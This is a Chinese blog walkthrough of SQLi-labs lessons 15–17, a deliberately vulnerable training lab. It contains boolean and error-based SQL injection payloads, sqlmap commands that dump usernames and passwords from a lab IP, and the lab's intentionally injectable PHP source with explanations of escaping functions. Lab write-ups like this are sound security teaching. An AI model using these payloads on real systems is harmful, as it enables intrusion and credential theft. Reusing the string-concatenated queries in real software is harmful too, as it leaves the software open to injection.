当前位置:网站首页>SQLI-LABS通关(less15-less17)
SQLI-LABS通关(less15-less17)
2022-07-02 06:23:00 【徐记荣】
less-15
sqlmap猜解POST请求数据库
less-16
less-17
empty()
get_magic_quotes_gpc()
stripslashes()
addslashes()
ctype_digit()
mysqli_real_escape_string()
intval()
less-15
标题:POST - Blind -Boolian/time Based Single quotes
post型布尔或时间单引号盲注,当然我们应该先手测一下嘛
payload:' //登录失败 payload:' or 1=1 -- -
//登录成功
payload:' or 1=2 -- -
//登录失败
基本可以断定是post型布尔或时间单引号盲注
这种类型的除了猜解以外,还可以采用dns盲打,大家可以参考以下几篇文章
利用DNSLOG获取看不到的信息(给盲注带上眼镜)
mysql dnslog_DNSlog注入踩坑记录:
dnslog盲打学习
使用DNSLog进行盲打
但是说,要想使用此方法需要满足以下几个条件
secure_file_priv为空
root权限
站点的服务器为windows
我个人认为条件相对苛刻,secure_file_priv为空都直接直接挂马了,还盲注什么,大家学习了解还是很有必要的,我还是假设secure_file_priv默认为NULL的情况下进行后面的学习。
sqlmap猜解POST请求数据库
这里我们还是用sqlmap去跑一下,因为现在是post类型的,和之前get类型的还不太一样
可参照利用sqlmap进行POST注入
第一步:burpsuite抓包
把数据包导出来
sqlmap -r "/data_packet/192.168.10.189_less15.txt" -p nname --dbs


sqlmap -r "data_packet/192.168.10.189_less15.txt" -p uname -D security -T users -C "username,password" --dump


ok
less-16
标题:POST - Blind - Boolian/Time Based -Double quotes
post类型布尔或时间双引号盲注,还是先手测一下
payload:' //登录失败 payload:' or 1=1 -- -
//登录失败
payload:" or 1=1 -- - //登录失败 payload:') or 1=1 -- - //登录失败 payload:") or 1=1 -- -
//登录成功
payload:") or 1=2 -- -
//登录失败
基本可以断定 post型")闭合布尔或时间盲注,还是抓包sqlmap跑,我就不跑了,post类型太慢了
我们直接看一下源码
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
less-17
标题:POST - Update Query - Error Based String
直接看源码
<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
error_reporting(0);
$a = 1;
function check_input($con1, $value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysqli_real_escape_string($con1, $value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($con1, $_POST['uname']);
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysqli_query($con1, $update);
//echo $update;
echo "<br>";
if (mysqli_error($con1))
{
echo '<font color= "#FFFF00" font size = 3 >';
print_r(mysqli_error($con1));
echo "</br></br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00" font size = 3 >';
//echo " You password has been successfully updated " ;
echo "<br>";
echo "</font>";
}
echo '<img src="../images/flag1.jpg" />';
//echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font size="4.5" color="#FFFF00">';
//echo "Bug off you Silly Dumb hacker";
echo "</br>";
echo '<img src="../images/slap1.jpg" />';
echo "</font>";
}
}
?>
一个个来
function check_input($con1, $value)
首先他自定义了一个 check_input()方法
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
empty()
用于检查一个变量是否为空,注意
若为空,返回TRUE
若不为空,返回FALSE
语法:
bool empty ( mixed $var )
bool:指返回值是布尔型
$var:呆检查的变量
详见PHP empty() 函数
! 这里是非的意思,就是将empty()返回的值进行一个非逻辑转换
这里意思就是若变量不为空则截取其前15个字符
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
get_magic_quotes_gpc()
magic_quotes_gpc函数在php的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符"",以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命错误(就是用\过滤)
过滤的数据有
单引号(')、双引号(")、反斜杠()与NULL(NULL字符)
当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
但是PHP6及以后版本中删除了这个选项,默认magic_quotes_gpc=Off
如何测试呢,可以使用下面的方法
<?php
header("Content-Type: text/html;charset=utf-8");//为了让页面不出现乱码
if (get_magic_quotes_gpc())
{
echo 'magic_quotes_gpc 开启';
}
else
{
echo 'magic_quotes_gpc 未开启';
}
?>
stripslashes()
stripslashes()函数删除有addslashes()函数添加的反斜杠。
语法:
stripslashes(string)
addslashes()
addslashes() 函数返回在预定义的字符前添加反斜杠的字符串
这里的意思是若magic_quotes_gpc()=on,则将其自动转义后的字符串再转回去,因为PHP6及以上的magic_quotes_gpc()不存在了,所以此处也无意义了
if (!ctype_digit($value))
{
$value = "'" . mysqli_real_escape_string($con1, $value) . "'";
}
else
{
$value = intval($value);
}
return $value;
ctype_digit()
用于检查给定的字符串是否仅包含数字
语法:
bool ctype_digit(string)
返回值是bool型
mysqli_real_escape_string()
此函数转义在SQL语句中使用的字符串中的特殊字符,详见PHP mysqli_real_escape_string() 函数
语法:
mysqli_real_escape_string(connection,escapestring);
connection:必需。规定要使用的 MySQL 连接。
escapestring :必需。要转义的字符串。编码的字符是 NUL(ASCII 0)、\n、\r、\、'、" 和 Control-Z。
intval()
此函数用来获取变量的整数值,使用指定的进制 base 转换(默认是十进制)详见PHP intval() 函数
语法:
int intval ( mixed $var [, int $base = 10 ] )
$var:要转换成 integer 的数量值。
$base:转化所使用的进制。
这里大致意思呢就是,对传进来的value值做一个判断,若为字符型则做一个转义,然后用’'括起来,若是数字型则做一个取整
$uname=check_input($con1, $_POST['uname']);
这个check_input()函数处理的值是uname
他实际上做了几件事
- 对uname长度在后台做了≤15的限制
- 对字符进行转义
我们看一下转义前和转义后
我们看一下数据库
转义是有可能产生宽字节注入的,参考宽字节注入原理分析,
这里限制了字符串长度,我们先不管宽字节注入,继续看源码
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
passwd是直接拼接的
我们画个流程图,常见的流程图符号如下

这是一个修改密码的页面,我们传值
正确的用户名和新的密码
即可完成密码修改
首先是对用户名做判断(这里就需要一个正确的用户名,我们只能去burpsuite 抓包爆破 ,爆破出用户名)
用户名存在的话直接调用 update 将数据库里password替换为new password
爆破不讲,假设我们已经爆破出账号为admin
我们给一段payload
name:admin
password:'"
//报错
猜测此处有注入,一般name作为查询依据,在where之后,不好做注入,我们直接给个单引号+双引号,报错可能有注入
给一段payload
查询数据库
name:admin
password:' and(updataxml(1,concat(0x7e,database()),0))-- -
//查询语句
UPDATE users SET password = '' and updatexml(1,concat(0x7e,database()),0)-- -' WHERE username='admin'

此处有疑问,先搁置
边栏推荐
- Latest CUDA environment configuration (win10 + CUDA 11.6 + vs2019)
- Deployment API_ automation_ Problems encountered during test
- Kotlin - 验证时间格式是否是 yyyy-MM-dd HH:mm:ss
- Detailed definition of tensorrt data format
- MySQL index
- 20201025 visual studio2019 qt5.14 use of signal and slot functions
- Android - Kotlin 下使用 Room 遇到 There are multiple good constructors and Room will ... 问题
- Fe - wechat applet - Bluetooth ble development research and use
- js中map和forEach的用法
- 默认google浏览器打不开链接(点击超链接没有反应)
猜你喜欢

Sentinel Alibaba open source traffic protection component

The default Google browser cannot open the link (clicking the hyperlink does not respond)

Latest CUDA environment configuration (win10 + CUDA 11.6 + vs2019)

VSCODE 安装LATEX环境,参数配置,常见问题解决

js中map和forEach的用法

Pytest (2) mark function
![[Zhang San learns C language] - deeply understand data storage](/img/b5/cf0bfae8eacf335d3c350c9cbadb87.png)
[Zhang San learns C language] - deeply understand data storage

sqli-labs通关汇总-page3

PgSQL learning notes

CTF three count
随机推荐
sqli-labs通关汇总-page3
Sentinel Alibaba open source traffic protection component
ts和js区别
Linux MySQL 5.6.51 Community Generic 安装教程
CVE-2015-1635(MS15-034 )遠程代碼執行漏洞複現
Eggjs -typeorm treeenity practice
Latest CUDA environment configuration (win10 + CUDA 11.6 + vs2019)
The use of regular expressions in JS
20201002 VS 2019 QT5.14 开发的程序打包
20201002 vs 2019 qt5.14 developed program packaging
NodeJs - Express 中间件修改 Header: TypeError [ERR_INVALID_CHAR]: Invalid character in header content
Solution to the black screen of win computer screenshot
部署api_automation_test过程中遇到的问题
js创建一个自定义json数组
浏览器滚动加载更多实现
Overload global and member new/delete
[self cultivation of programmers] - Reflection on job hunting Part II
[daily question 1] write a function to judge whether a string is the string after the rotation of another string.
Latex在VSCODE中编译中文,使用中文路径问题解决
FE - Weex 使用简单封装数据加载插件为全局加载方法